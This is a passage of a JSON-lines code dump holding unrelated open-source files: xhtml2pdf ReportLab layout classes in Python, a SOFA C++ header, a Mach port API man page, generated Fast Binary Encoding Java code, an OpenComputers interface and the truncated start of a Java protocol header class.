0.95\n\n\nclass PTCycle(list):\n def __init__(self):\n self._restart = 0\n self._idx = 0\n list.__init__(self)\n\n def cyclicIterator(self):\n while 1:\n yield self[self._idx]\n self._idx += 1\n if self._idx >= len(self):\n self._idx = self._restart\n\n\nclass PmlMaxHeightMixIn:\n def setMaxHeight(self, availHeight):\n self.availHeightValue = availHeight\n if availHeight < 70000:\n if hasattr(self, \"canv\"):\n if not hasattr(self.canv, \"maxAvailHeightValue\"):\n self.canv.maxAvailHeightValue = 0\n self.availHeightValue = self.canv.maxAvailHeightValue = max(\n availHeight,\n self.canv.maxAvailHeightValue)\n else:\n self.availHeightValue = availHeight\n if not hasattr(self, \"availHeightValue\"):\n self.availHeightValue = 0\n return self.availHeightValue\n\n def getMaxHeight(self):\n if not hasattr(self, \"availHeightValue\"):\n return 0\n return self.availHeightValue\n\n\nclass PmlBaseDoc(BaseDocTemplate):\n \"\"\"\n We use our own document template to get access to the canvas\n and set some informations once.\n \"\"\"\n\n def beforePage(self):\n\n # Tricky way to set producer, because of not real privateness in Python\n info = \"pisa HTML to PDF <http://www.htmltopdf.org>\"\n self.canv._doc.info.producer = info\n\n '''\n # Convert to ASCII because there is a Bug in Reportlab not\n # supporting other than ASCII. Send to list on 23.1.2007\n\n author = toString(self.pml_data.get(\"author\", \"\")).encode(\"ascii\",\"ignore\")\n subject = toString(self.pml_data.get(\"subject\", \"\")).encode(\"ascii\",\"ignore\")\n title = toString(self.pml_data.get(\"title\", \"\")).encode(\"ascii\",\"ignore\")\n # print repr((author,title,subject))\n\n self.canv.setAuthor(author)\n self.canv.setSubject(subject)\n self.canv.setTitle(title)\n\n if self.pml_data.get(\"fullscreen\", 0):\n self.canv.showFullScreen0()\n\n if self.pml_data.get(\"showoutline\", 0):\n self.canv.showOutline()\n\n if self.pml_data.get(\"duration\", None) is not None:\n self.canv.setPageDuration(self.pml_data[\"duration\"])\n '''\n\n def afterFlowable(self, flowable):\n # Does the flowable contain fragments?\n if getattr(flowable, \"outline\", False):\n self.notify('TOCEntry', (\n flowable.outlineLevel,\n cgi.escape(copy.deepcopy(flowable.text), 1),\n self.page))\n\n def handle_nextPageTemplate(self, pt):\n '''\n if pt has also templates for even and odd page convert it to list\n '''\n has_left_template = self._has_template_for_name(pt + '_left')\n has_right_template = self._has_template_for_name(pt + '_right')\n\n if has_left_template and has_right_template:\n pt = [pt + '_left', pt + '_right']\n\n '''On endPage change to the page template with name or index pt'''\n if type(pt) is StringType:\n if hasattr(self, '_nextPageTemplateCycle'):\n del self._nextPageTemplateCycle\n for t in self.pageTemplates:\n if t.id == pt:\n self._nextPageTemplateIndex = self.pageTemplates.index(t)\n return\n raise ValueError(\"can't find template('%s')\" % pt)\n elif type(pt) is IntType:\n if hasattr(self, '_nextPageTemplateCycle'):\n del self._nextPageTemplateCycle\n self._nextPageTemplateIndex = pt\n elif type(pt) in (ListType, TupleType):\n #used for alternating left/right pages\n #collect the refs to the template objects, complain if any are bad\n c = PTCycle()\n for ptn in pt:\n #special case name used to short circuit the iteration\n if ptn == '*':\n c._restart = len(c)\n continue\n for t in self.pageTemplates:\n if t.id == ptn.strip():\n c.append(t)\n break\n if not c:\n raise ValueError(\"No valid page templates in cycle\")\n elif c._restart > len(c):\n raise ValueError(\"Invalid cycle restart position\")\n\n #ensure we start on the first one$\n self._nextPageTemplateCycle = c.cyclicIterator()\n else:\n raise TypeError(\"Argument pt should be string or integer or list\")\n\n def _has_template_for_name(self, name):\n for template in self.pageTemplates:\n if template.id == name.strip():\n return True\n return False\n\n\nclass PmlPageTemplate(PageTemplate):\n PORTRAIT = 'portrait'\n LANDSCAPE = 'landscape'\n # by default portrait\n pageorientation = PORTRAIT\n\n def __init__(self, **kw):\n self.pisaStaticList = []\n self.pisaBackgroundList = []\n self.pisaBackground = None\n PageTemplate.__init__(self, **kw)\n self._page_count = 0\n self._first_flow = True\n\n def isFirstFlow(self, canvas):\n if self._first_flow:\n if canvas.getPageNumber() <= self._page_count:\n self._first_flow = False\n else:\n self._page_count = canvas.getPageNumber()\n canvas._doctemplate._page_count = canvas.getPageNumber()\n return self._first_flow\n\n def isPortrait(self):\n return self.pageorientation == self.PORTRAIT\n\n def isLandscape(self):\n return self.pageorientation == self.LANDSCAPE\n\n def beforeDrawPage(self, canvas, doc):\n canvas.saveState()\n try:\n\n # Background\n pisaBackground = None\n if (self.isFirstFlow(canvas)\n and hasattr(self, \"pisaBackground\")\n and self.pisaBackground\n and (not self.pisaBackground.notFound())):\n\n # Is image not PDF\n if self.pisaBackground.mimetype.startswith(\"image/\"):\n\n try:\n img = PmlImageReader(StringIO.StringIO(self.pisaBackground.getData()))\n iw, ih = img.getSize()\n pw, ph = canvas._pagesize\n\n width = pw # min(iw, pw) # max\n wfactor = float(width) / iw\n height = ph # min(ih, ph) # max\n hfactor = float(height) / ih\n factor_min = min(wfactor, hfactor)\n\n if self.isPortrait():\n w = iw * factor_min\n h = ih * factor_min\n canvas.drawImage(img, 0, ph - h, w, h)\n elif self.isLandscape():\n factor_max = max(wfactor, hfactor)\n h = ih * factor_max\n w = iw * factor_min\n canvas.drawImage(img, 0, 0, w, h)\n except:\n log.exception(\"Draw background\")\n\n # PDF!\n else:\n pisaBackground = self.pisaBackground\n\n if pisaBackground:\n self.pisaBackgroundList.append(pisaBackground)\n\n def pageNumbering(objList):\n for obj in flatten(objList):\n if isinstance(obj, PmlParagraph):\n for frag in obj.frags:\n if frag.pageNumber:\n frag.text = str(pagenumber)\n elif frag.pageCount:\n frag.text = str(canvas._doctemplate._page_count)\n\n elif isinstance(obj, PmlTable):\n # Flatten the cells ([[1,2], [3,4]] becomes [1,2,3,4])\n flat_cells = [item for sublist in obj._cellvalues for item in sublist]\n pageNumbering(flat_cells)\n\n try:\n\n # Paint static frames\n pagenumber = canvas.getPageNumber()\n for frame in self.pisaStaticList:\n frame = copy.deepcopy(frame)\n story = frame.pisaStaticStory\n pageNumbering(story)\n\n frame.addFromList(story, canvas)\n\n except Exception: # TODO: Kill this!\n log.debug(\"PmlPageTemplate\", exc_info=1)\n finally:\n canvas.restoreState()\n\n\n_ctr = 1\n\n\nclass PmlImageReader(object): # TODO We need a factory here, returning either a class for java or a class for PIL\n \"\"\"\n Wraps up either PIL or Java to get data from bitmaps\n \"\"\"\n _cache = {}\n\n def __init__(self, fileName):\n if isinstance(fileName, PmlImageReader):\n self.__dict__ = fileName.__dict__ # borgize\n return\n #start wih lots of null private fields, to be populated by\n #the relevant engine.\n self.fileName = fileName\n self._image = None\n self._width = None\n self._height = None\n self._transparent = None\n self._data = None\n imageReaderFlags = 0\n if PILImage and isinstance(fileName, PILImage.Image):\n self._image = fileName\n self.fp = getattr(fileName, 'fp', None)\n try:\n self.fileName = self._image.fileName\n except AttributeError:\n self.fileName = 'PILIMAGE_%d' % id(self)\n else:\n try:\n self.fp = open_for_read(fileName, 'b')\n if isinstance(self.fp, StringIO.StringIO().__class__):\n imageReaderFlags = 0 # avoid messing with already internal files\n if imageReaderFlags > 0: # interning\n data = self.fp.read()\n if imageReaderFlags & 2: # autoclose\n try:\n self.fp.close()\n except:\n pass\n if imageReaderFlags & 4: # cache the data\n if not self._cache:\n from rl_config import register_reset\n register_reset(self._cache.clear)\n\n data = self._cache.setdefault(md5(data).digest(), data)\n self.fp = getStringIO(data)\n elif imageReaderFlags == - 1 and isinstance(fileName, (str, unicode)):\n #try Ralf Schmitt's re-opening technique of avoiding too many open files\n self.fp.close()\n del self.fp # will become a property in the next statement\n self.__class__ = LazyImageReader\n if haveImages:\n #detect which library we are using and open the image\n if not self._image:\n self._image = self._read_image(self.fp)\n if getattr(self._image, 'format', None) == 'JPEG':\n self.jpeg_fh = self._jpeg_fh\n else:\n from reportlab.pdfbase.pdfutils import readJPEGInfo\n\n try:\n self._width, self._height, c = readJPEGInfo(self.fp)\n except:\n raise RuntimeError('Imaging Library not available, unable to import bitmaps only jpegs')\n self.jpeg_fh = self._jpeg_fh\n self._data = self.fp.read()\n self._dataA = None\n self.fp.seek(0)\n except: # TODO: Kill the catch-all\n et, ev, tb = sys.exc_info()\n if hasattr(ev, 'args'):\n a = str(ev.args[- 1]) + (' fileName=%r' % fileName)\n ev.args = ev.args[: - 1] + (a,)\n raise et, ev, tb\n else:\n raise\n\n def _read_image(self, fp):\n if sys.platform[0:4] == 'java':\n from javax.imageio import ImageIO\n from java.io import ByteArrayInputStream\n input_stream = ByteArrayInputStream(fp.read())\n return ImageIO.read(input_stream)\n elif PILImage:\n return PILImage.open(fp)\n\n def _jpeg_fh(self):\n fp = self.fp\n fp.seek(0)\n return fp\n\n def jpeg_fh(self):\n return None\n\n def getSize(self):\n if self._width is None or self._height is None:\n if sys.platform[0:4] == 'java':\n self._width = self._image.getWidth()\n self._height = self._image.getHeight()\n else:\n self._width, self._height = self._image.size\n return self._width, self._height\n\n def getRGBData(self):\n \"Return byte array of RGB data as string\"\n if self._data is None:\n self._dataA = None\n if sys.platform[0:4] == 'java':\n import jarray # TODO: Move to top.\n from java.awt.image import PixelGrabber\n\n width, height = self.getSize()\n buffer = jarray.zeros(width * height, 'i')\n pg = PixelGrabber(self._image, 0, 0, width, height, buffer, 0, width)\n pg.grabPixels()\n # there must be a way to do this with a cast not a byte-level loop,\n # I just haven't found it yet...\n pixels = []\n a = pixels.append\n for rgb in buffer:\n a(chr((rgb >> 16) & 0xff))\n a(chr((rgb >> 8) & 0xff))\n a(chr(rgb & 0xff))\n self._data = ''.join(pixels)\n self.mode = 'RGB'\n else:\n im = self._image\n mode = self.mode = im.mode\n if mode == 'RGBA':\n im.load()\n self._dataA = PmlImageReader(im.split()[3])\n im = im.convert('RGB')\n self.mode = 'RGB'\n elif mode not in ('L', 'RGB', 'CMYK'):\n im = im.convert('RGB')\n self.mode = 'RGB'\n if hasattr(im, 'tobytes'):\n self._data = im.tobytes()\n else:\n # PIL compatibility\n self._data = im.tostring()\n return self._data\n\n def getImageData(self):\n width, height = self.getSize()\n return width, height, self.getRGBData()\n\n def getTransparent(self):\n if sys.platform[0:4] == 'java':\n return None\n elif \"transparency\" in self._image.info:\n transparency = self._image.info[\"transparency\"] * 3\n palette = self._image.palette\n if hasattr(palette, 'palette'):\n palette = palette.palette\n elif hasattr(palette, 'data'):\n palette = palette.data\n else:\n return None\n\n # 8-bit PNGs could give an empty string as transparency value, so\n # we have to be careful here.\n try:\n return map(ord, palette[transparency:transparency + 3])\n except:\n return None\n else:\n return None\n\n def __str__(self):\n try:\n fn = self.fileName.read()\n if not fn:\n fn = id(self)\n return \"PmlImageObject_%s\" % hash(fn)\n except:\n fn = self.fileName\n if not fn:\n fn = id(self)\n return fn\n\n\nclass PmlImage(Flowable, PmlMaxHeightMixIn):\n\n def __init__(self, data, width=None, height=None, mask=\"auto\", mimetype=None, **kw):\n self.kw = kw\n self.hAlign = 'CENTER'\n self._mask = mask\n self._imgdata = data\n # print \"###\", repr(data)\n self.mimetype = mimetype\n img = self.getImage()\n if img:\n self.imageWidth, self.imageHeight = img.getSize()\n self.drawWidth = width or self.imageWidth\n self.drawHeight = height or self.imageHeight\n\n def wrap(self, availWidth, availHeight):\n \" This can be called more than once! Do not overwrite important data like drawWidth \"\n availHeight = self.setMaxHeight(availHeight)\n # print \"image wrap\", id(self), availWidth, availHeight, self.drawWidth, self.drawHeight\n width = min(self.drawWidth, availWidth)\n wfactor = float(width) / self.drawWidth\n height = min(self.drawHeight, availHeight * MAX_IMAGE_RATIO)\n hfactor = float(height) / self.drawHeight\n factor = min(wfactor, hfactor)\n self.dWidth = self.drawWidth * factor\n self.dHeight = self.drawHeight * factor\n # print \"imgage result\", factor, self.dWidth, self.dHeight\n return self.dWidth, self.dHeight\n\n def getImage(self):\n img = PmlImageReader(StringIO.StringIO(self._imgdata))\n return img\n\n def draw(self):\n img = self.getImage()\n self.canv.drawImage(\n img,\n 0, 0,\n self.dWidth,\n self.dHeight,\n mask=self._mask)\n\n def identity(self, maxLen=None):\n r = Flowable.identity(self, maxLen)\n return r\n\n\nclass PmlParagraphAndImage(ParagraphAndImage, PmlMaxHeightMixIn):\n def wrap(self, availWidth, availHeight):\n self.I.canv = self.canv\n result = ParagraphAndImage.wrap(self, availWidth, availHeight)\n del self.I.canv\n return result\n\n def split(self, availWidth, availHeight):\n # print \"# split\", id(self)\n if not hasattr(self, \"wI\"):\n self.wI, self.hI = self.I.wrap(availWidth, availHeight) # drawWidth, self.I.drawHeight\n return ParagraphAndImage.split(self, availWidth, availHeight)\n\n\nclass PmlParagraph(Paragraph, PmlMaxHeightMixIn):\n def _calcImageMaxSizes(self, availWidth, availHeight):\n self.hasImages = False\n for frag in self.frags:\n if hasattr(frag, \"cbDefn\") and frag.cbDefn.kind == \"img\":\n img = frag.cbDefn\n if img.width > 0 and img.height > 0:\n self.hasImages = True\n width = min(img.width, availWidth)\n wfactor = float(width) / img.width\n height = min(img.height, availHeight * MAX_IMAGE_RATIO) # XXX 99% because 100% do not work...\n hfactor = float(height) / img.height\n factor = min(wfactor, hfactor)\n img.height *= factor\n img.width *= factor\n\n def wrap(self, availWidth, availHeight):\n\n availHeight = self.setMaxHeight(availHeight)\n\n style = self.style\n\n self.deltaWidth = style.paddingLeft + style.paddingRight + style.borderLeftWidth + style.borderRightWidth\n self.deltaHeight = style.paddingTop + style.paddingBottom + style.borderTopWidth + style.borderBottomWidth\n\n # reduce the available width & height by the padding so the wrapping\n # will use the correct size\n availWidth -= self.deltaWidth\n availHeight -= self.deltaHeight\n\n # Modify maxium image sizes\n self._calcImageMaxSizes(availWidth, availHeight)\n\n # call the base class to do wrapping and calculate the size\n Paragraph.wrap(self, availWidth, availHeight)\n\n #self.height = max(1, self.height)\n #self.width = max(1, self.width)\n\n # increase the calculated size by the padding\n self.width = self.width + self.deltaWidth\n self.height = self.height + self.deltaHeight\n\n return self.width, self.height\n\n def split(self, availWidth, availHeight):\n\n if len(self.frags) <= 0:\n return []\n\n #the split information is all inside self.blPara\n if not hasattr(self, 'deltaWidth'):\n self.wrap(availWidth, availHeight)\n\n availWidth -= self.deltaWidth\n availHeight -= self.deltaHeight\n\n return Paragraph.split(self, availWidth, availHeight)\n\n def draw(self):\n\n # Create outline\n if getattr(self, \"outline\", False):\n\n # Check level and add all levels\n last = getattr(self.canv, \"outlineLast\", - 1) + 1\n while last < self.outlineLevel:\n # print \"(OUTLINE\", last, self.text\n key = getUID()\n self.canv.bookmarkPage(key)\n self.canv.addOutlineEntry(\n self.text,\n key,\n last,\n not self.outlineOpen)\n last += 1\n self.canv.outlineLast = self.outlineLevel\n\n key = getUID()\n\n self.canv.bookmarkPage(key)\n self.canv.addOutlineEntry(\n self.text,\n key,\n self.outlineLevel,\n not self.outlineOpen)\n last += 1\n\n # Draw the background and borders here before passing control on to\n # ReportLab. This is because ReportLab can't handle the individual\n # components of the border independently. This will also let us\n # support more border styles eventually.\n canvas = self.canv\n style = self.style\n bg = style.backColor\n leftIndent = style.leftIndent\n bp = 0 # style.borderPadding\n\n x = leftIndent - bp\n y = - bp\n w = self.width - (leftIndent + style.rightIndent) + 2 * bp\n h = self.height + 2 * bp\n\n if bg:\n # draw a filled rectangle (with no stroke) using bg color\n canvas.saveState()\n canvas.setFillColor(bg)\n canvas.rect(x, y, w, h, fill=1, stroke=0)\n canvas.restoreState()\n\n # we need to hide the bg color (if any) so Paragraph won't try to draw it again\n style.backColor = None\n\n # offset the origin to compensate for the padding\n canvas.saveState()\n canvas.translate(\n (style.paddingLeft + style.borderLeftWidth),\n -1 * (style.paddingTop + style.borderTopWidth)) # + (style.leading / 4)))\n\n # Call the base class draw method to finish up\n Paragraph.draw(self)\n canvas.restoreState()\n\n # Reset color because we need it again if we run 2-PASS like we\n # do when using TOC\n style.backColor = bg\n\n canvas.saveState()\n\n def _drawBorderLine(bstyle, width, color, x1, y1, x2, y2):\n # We need width and border style to be able to draw a border\n if width and getBorderStyle(bstyle):\n # If no color for border is given, the text color is used (like defined by W3C)\n if color is None:\n color = style.textColor\n # print \"Border\", bstyle, width, color\n if color is not None:\n canvas.setStrokeColor(color)\n canvas.setLineWidth(width)\n canvas.line(x1, y1, x2, y2)\n\n _drawBorderLine(style.borderLeftStyle,\n style.borderLeftWidth,\n style.borderLeftColor,\n x, y, x, y + h)\n _drawBorderLine(style.borderRightStyle,\n style.borderRightWidth,\n style.borderRightColor,\n x + w, y, x + w, y + h)\n _drawBorderLine(style.borderTopStyle,\n style.borderTopWidth,\n style.borderTopColor,\n x, y + h, x + w, y + h)\n _drawBorderLine(style.borderBottomStyle,\n style.borderBottomWidth,\n style.borderBottomColor,\n x, y, x + w, y)\n\n canvas.restoreState()\n\n\nclass PmlKeepInFrame(KeepInFrame, PmlMaxHeightMixIn):\n def wrap(self, availWidth, availHeight):\n availWidth = max(availWidth, 1.0)\n availHeight = max(availHeight, 1.0)\n self.maxWidth = availWidth\n self.maxHeight = self.setMaxHeight(availHeight)\n return KeepInFrame.wrap(self, availWidth, availHeight)\n\n\nclass PmlTable(Table, PmlMaxHeightMixIn):\n def _normWidth(self, w, maxw):\n \"\"\"\n Helper for calculating percentages\n \"\"\"\n if type(w) == type(\"\"):\n w = ((maxw / 100.0) * float(w[: - 1]))\n elif (w is None) or (w == \"*\"):\n w = maxw\n return min(w, maxw)\n\n def _listCellGeom(self, V, w, s, W=None, H=None, aH=72000):\n # print \"#\", self.availHeightValue\n if aH == 72000:\n aH = self.getMaxHeight() or aH\n return Table._listCellGeom(self, V, w, s, W=W, H=H, aH=aH)\n\n def wrap(self, availWidth, availHeight):\n\n self.setMaxHeight(availHeight)\n\n # Strange bug, sometime the totalWidth is not set !?\n try:\n self.totalWidth\n except:\n self.totalWidth = availWidth\n\n # Prepare values\n totalWidth = self._normWidth(self.totalWidth, availWidth)\n remainingWidth = totalWidth\n remainingCols = 0\n newColWidths = self._colWidths\n\n # Calculate widths that are fix\n # IMPORTANT!!! We can not substitute the private value\n # self._colWidths therefore we have to modify list in place\n for i, colWidth in enumerate(newColWidths):\n if (colWidth is not None) or (colWidth == '*'):\n colWidth = self._normWidth(colWidth, totalWidth)\n remainingWidth -= colWidth\n else:\n remainingCols += 1\n colWidth = None\n newColWidths[i] = colWidth\n\n # Distribute remaining space\n minCellWidth = totalWidth * 0.01\n if remainingCols > 0:\n for i, colWidth in enumerate(newColWidths):\n if colWidth is None:\n newColWidths[i] = max(minCellWidth, remainingWidth / remainingCols) # - 0.1\n\n # Bigger than totalWidth? Lets reduce the fix entries propotionally\n\n if sum(newColWidths) > totalWidth:\n quotient = totalWidth / sum(newColWidths)\n for i in range(len(newColWidths)):\n newColWidths[i] = newColWidths[i] * quotient\n\n # To avoid rounding errors adjust one col with the difference\n diff = sum(newColWidths) - totalWidth\n if diff > 0:\n newColWidths[0] -= diff\n\n return Table.wrap(self, availWidth, availHeight)\n\n\nclass PmlPageCount(IndexingFlowable):\n def __init__(self):\n IndexingFlowable.__init__(self)\n self.second_round = False\n\n def isSatisfied(self):\n s = self.second_round\n self.second_round = True\n return s\n\n def drawOn(self, canvas, x, y, _sW=0):\n pass\n\n\nclass PmlTableOfContents(TableOfContents):\n def wrap(self, availWidth, availHeight):\n \"\"\"\n All table properties should be known by now.\n \"\"\"\n\n widths = (availWidth - self.rightColumnWidth,\n self.rightColumnWidth)\n\n # makes an internal table which does all the work.\n # we draw the LAST RUN's entries! If there are\n # none, we make some dummy data to keep the table\n # from complaining\n if len(self._lastEntries) == 0:\n _tempEntries = [(0, 'Placeholder for table of contents', 0)]\n else:\n _tempEntries = self._lastEntries\n\n lastMargin = 0\n tableData = []\n tableStyle = [\n ('VALIGN', (0, 0), (- 1, - 1), 'TOP'),\n ('LEFTPADDING', (0, 0), (- 1, - 1), 0),\n ('RIGHTPADDING', (0, 0), (- 1, - 1), 0),\n ('TOPPADDING', (0, 0), (- 1, - 1), 0),\n ('BOTTOMPADDING', (0, 0), (- 1, - 1), 0),\n ]\n for i, entry in enumerate(_tempEntries):\n level, text, pageNum = entry[:3]\n leftColStyle = self.levelStyles[level]\n if i: # Not for first element\n tableStyle.append((\n 'TOPPADDING',\n (0, i), (- 1, i),\n max(lastMargin, leftColStyle.spaceBefore)))\n # print leftColStyle.leftIndent\n lastMargin = leftColStyle.spaceAfter\n #right col style is right aligned\n rightColStyle = ParagraphStyle(name='leftColLevel%d' % level,\n parent=leftColStyle,\n leftIndent=0,\n alignment=TA_RIGHT)\n leftPara = Paragraph(text, leftColStyle)\n rightPara = Paragraph(str(pageNum), rightColStyle)\n tableData.append([leftPara, rightPara])\n\n self._table = Table(\n tableData,\n colWidths=widths,\n style=TableStyle(tableStyle))\n\n self.width, self.height = self._table.wrapOn(self.canv, availWidth, availHeight)\n return self.width, self.height\n\n\nclass PmlRightPageBreak(CondPageBreak):\n def __init__(self):\n pass\n\n def wrap(self, availWidth, availHeight):\n if not self.canv.getPageNumber() % 2:\n self.width = availWidth\n self.height = availHeight\n return availWidth, availHeight\n self.width = self.height = 0\n return 0, 0\n\n\nclass PmlLeftPageBreak(CondPageBreak):\n def __init__(self):\n pass\n\n def wrap(self, availWidth, availHeight):\n if self.canv.getPageNumber() % 2:\n self.width = availWidth\n self.height = availHeight\n return availWidth, availHeight\n self.width = self.height = 0\n return 0, 0\n\n# --- Pdf Form\n\n\nclass PmlInput(Flowable):\n def __init__(self, name, type=\"text\", width=10, height=10, default=\"\", options=[]):\n self.width = width\n self.height = height\n self.type = type\n self.name = name\n self.default = default\n self.options = options\n\n def wrap(self, *args):\n return self.width, self.height\n\n def draw(self):\n c = self.canv\n\n c.saveState()\n c.setFont(\"Helvetica\", 10)\n if self.type == \"text\":\n pdfform.textFieldRelative(c, self.name, 0, 0, self.width, self.height)\n c.rect(0, 0, self.width, self.height)\n elif self.type == \"radio\":\n c.rect(0, 0, self.width, self.height)\n elif self.type == \"checkbox\":\n if self.default:\n pdfform.buttonFieldRelative(c, self.name, \"Yes\", 0, 0)\n else:\n pdfform.buttonFieldRelative(c, self.name, \"Off\", 0, 0)\n c.rect(0, 0, self.width, self.height)\n elif self.type == \"select\":\n pdfform.selectFieldRelative(c, self.name, self.default, self.options, 0, 0, self.width, self.height)\n c.rect(0, 0, self.width, self.height)\n\n c.restoreState()\n"} {"text": "/******************************************************************************\n* SOFA, Simulation Open-Framework Architecture *\n* (c) 2006 INRIA, USTL, UJF, CNRS, MGH *\n* *\n* This program is free software; you can redistribute it and/or modify it *\n* under the terms of the GNU Lesser General Public License as published by *\n* the Free Software Foundation; either version 2.1 of the License, or (at *\n* your option) any later version. *\n* *\n* This program is distributed in the hope that it will be useful, but WITHOUT *\n* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or *\n* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License *\n* for more details. *\n* *\n* You should have received a copy of the GNU Lesser General Public License *\n* along with this program. If not, see <http://www.gnu.org/licenses/>. *\n*******************************************************************************\n* Authors: The SOFA Team and external contributors (see Authors.txt) *\n* *\n* Contact information: contact@sofa-framework.org *\n******************************************************************************/\n#include \"OpenCLMemoryManager.h\"\n\n"} {"text": "<h2>mach_port_set_mscount</h2>\n<hr>\n<p>\n<strong>Function</strong> - Change the target port's make-send count.\n<h3>SYNOPSIS</h3>\n<pre>\n<strong>kern_return_t mach_port_set_mscount</strong>\n <strong>(ipc_space_t</strong> <var>task</var>,\n <strong>mach_port_name_t</strong> <var>name</var>,\n <strong>mach_port_mscount_t</strong> <var>mscount</var><strong>);</strong>\n</pre>\n<h3>PARAMETERS</h3>\n<dl>\n<p>\n<dt> <var>task</var> \n<dd>\n[in task send right]\nThe task owning the receive right.\n<p>\n<dt> <var>name</var> \n<dd>\n[in scalar]\n<var>task</var>'s name for the receive right.\n<p>\n<dt> <var>mscount</var> \n<dd>\n[in scalar]\nNew value for the make-send count for the receive right.\n</dl>\n<h3>DESCRIPTION</h3>\n<p>\nThe <strong>mach_port_set_mscount</strong> function changes the make-send\ncount of <var>task</var>'s \nreceive right named <var>name</var>.\nA port's make-send count specifies the number of send rights that have\nbeen generated via the port's receive right. A port's make-send count\nis set to zero when the port is first allocated; the count is reset to\nzero each time the port's receive right is transferred via a Mach message. \n<h3>NOTES</h3>\n<p>\nThis interface is machine word length specific because of the port name\nparameter.\n<h3>RETURN VALUES</h3>\n<dl>\n<p>\n<dt> <strong>KERN_INVALID_NAME</strong>\n<dd>\n<var>name</var> did not denote a right.\n<p>\n<dt> <strong>KERN_INVALID_RIGHT</strong>\n<dd>\n<var>name</var> denoted a right, but not a receive right.\n</dl>\n<h3>RELATED INFORMATION</h3>\n<p>\nFunctions:\n<a href=\"mach_port_get_attributes.html\"><strong>mach_port_get_attributes</strong></a>.\n"} {"text": "// Automatically generated by the Fast Binary Encoding compiler, do not modify!\n// https://github.com/chronoxor/FastBinaryEncoding\n// Source: test.fbe\n// Version: 1.4.0.0\n\npackage com.chronoxor.test.fbe;\n\n// Fast Binary Encoding EnumSimple array field model\npublic final class FieldModelArrayEnumSimple extends com.chronoxor.fbe.FieldModel\n{\n private final FieldModelEnumSimple _model;\n private final long _size;\n\n public FieldModelArrayEnumSimple(com.chronoxor.fbe.Buffer buffer, long offset, long size)\n {\n super(buffer, offset);\n _model = new FieldModelEnumSimple(buffer, offset);\n _size = size;\n }\n\n // Get the field size\n @Override\n public long fbeSize() { return _size * _model.fbeSize(); }\n // Get the field extra size\n @Override\n public long fbeExtra() { return 0; }\n\n // Get the array offset\n public long getOffset() { return 0; }\n // Get the array size\n public long getSize() { return _size; }\n\n // Array index operator\n public FieldModelEnumSimple getItem(long index)\n {\n assert ((_buffer.getOffset() + fbeOffset() + fbeSize()) <= _buffer.getSize()) : \"Model is broken!\";\n assert (index < _size) : \"Index is out of bounds!\";\n\n _model.fbeOffset(fbeOffset());\n _model.fbeShift(index * _model.fbeSize());\n return _model;\n }\n\n // Check if the array is valid\n @Override\n public boolean verify()\n {\n if ((_buffer.getOffset() + fbeOffset() + fbeSize()) > _buffer.getSize())\n return false;\n\n _model.fbeOffset(fbeOffset());\n for (long i = _size; i-- > 0;)\n {\n if (!_model.verify())\n return false;\n _model.fbeShift(_model.fbeSize());\n }\n\n return true;\n }\n\n // Get the array\n public com.chronoxor.test.EnumSimple[] get()\n {\n var values = new com.chronoxor.test.EnumSimple[(int)_size];\n\n var fbeModel = getItem(0);\n for (long i = 0; i < _size; i++)\n {\n values[(int)i] = fbeModel.get();\n fbeModel.fbeShift(fbeModel.fbeSize());\n }\n return values;\n }\n\n // Get the array\n public void get(com.chronoxor.test.EnumSimple[] values)\n {\n assert (values != null) : \"Invalid values parameter!\";\n if (values == null)\n throw new IllegalArgumentException(\"Invalid values parameter!\");\n\n var fbeModel = getItem(0);\n for (long i = 0; (i < values.length) && (i < _size); i++)\n {\n values[(int)i] = fbeModel.get();\n fbeModel.fbeShift(fbeModel.fbeSize());\n }\n }\n\n // Get the array as java.util.ArrayList\n public void get(java.util.ArrayList<com.chronoxor.test.EnumSimple> values)\n {\n assert (values != null) : \"Invalid values parameter!\";\n if (values == null)\n throw new IllegalArgumentException(\"Invalid values parameter!\");\n\n values.clear();\n values.ensureCapacity((int)_size);\n\n var fbeModel = getItem(0);\n for (long i = _size; i-- > 0;)\n {\n com.chronoxor.test.EnumSimple value = fbeModel.get();\n values.add(value);\n fbeModel.fbeShift(fbeModel.fbeSize());\n }\n }\n\n // Set the array\n public void set(com.chronoxor.test.EnumSimple[] values)\n {\n assert (values != null) : \"Invalid values parameter!\";\n if (values == null)\n throw new IllegalArgumentException(\"Invalid values parameter!\");\n\n assert ((_buffer.getOffset() + fbeOffset() + fbeSize()) <= _buffer.getSize()) : \"Model is broken!\";\n if ((_buffer.getOffset() + fbeOffset() + fbeSize()) > _buffer.getSize())\n return;\n\n var fbeModel = getItem(0);\n for (long i = 0; (i < values.length) && (i < _size); i++)\n {\n fbeModel.set(values[(int)i]);\n fbeModel.fbeShift(fbeModel.fbeSize());\n }\n }\n\n // Set the array as java.util.ArrayList\n public void set(java.util.ArrayList<com.chronoxor.test.EnumSimple> values)\n {\n assert (values != null) : \"Invalid values parameter!\";\n if (values == null)\n throw new IllegalArgumentException(\"Invalid values parameter!\");\n\n assert ((_buffer.getOffset() + fbeOffset() + fbeSize()) <= _buffer.getSize()) : \"Model is broken!\";\n if ((_buffer.getOffset() + fbeOffset() + fbeSize()) > _buffer.getSize())\n return;\n\n var fbeModel = getItem(0);\n for (long i = 0; (i < values.size()) && (i < _size); i++)\n {\n fbeModel.set(values.get((int)i));\n fbeModel.fbeShift(fbeModel.fbeSize());\n }\n }\n}\n"} {"text": "package li.cil.oc.api.internal;\n\nimport li.cil.oc.api.component.RackMountable;\nimport li.cil.oc.api.machine.MachineHost;\nimport li.cil.oc.api.network.EnvironmentHost;\n\n/**\n * This interface is implemented as a marker by servers in racks.\n * <p/>\n * This is implemented by servers in server racks, which serve as their\n * computer components' environment. That means you can use this to check for\n * servers by using either:\n * <pre>\n * if (node.host() instanceof Server) {\n * </pre>\n * <p/>\n * You can get a reference to a server either via the above cast, or via a\n * {@link li.cil.oc.api.internal.Rack#getMountable(int)}.\n * <p/>\n * The only purpose is to allow identifying node environments as servers\n * via the API, i.e. without having to link against internal classes. This\n * also means that <em>you should not implement this</em>.\n */\npublic interface Server extends EnvironmentHost, MachineHost, Tiered, RackMountable {\n /**\n * The server rack this server is in.\n */\n Rack rack();\n\n /**\n * The slot of the server rack this server is in.\n */\n int slot();\n}\n"} {"text": "package com.dtalk.dd.protobuf.base;\n\nimport com.dtalk.dd.config.SysConstant;\nimport com.dtalk.dd.utils.Logger;\n\n/**\n * TCP协议的头文件\n *\n * @author dolphinWang\n * @time 2014/04/30\n */\npublic class Header {\n\n\n\n private int length; // 数据包长度,包括包头\n\n 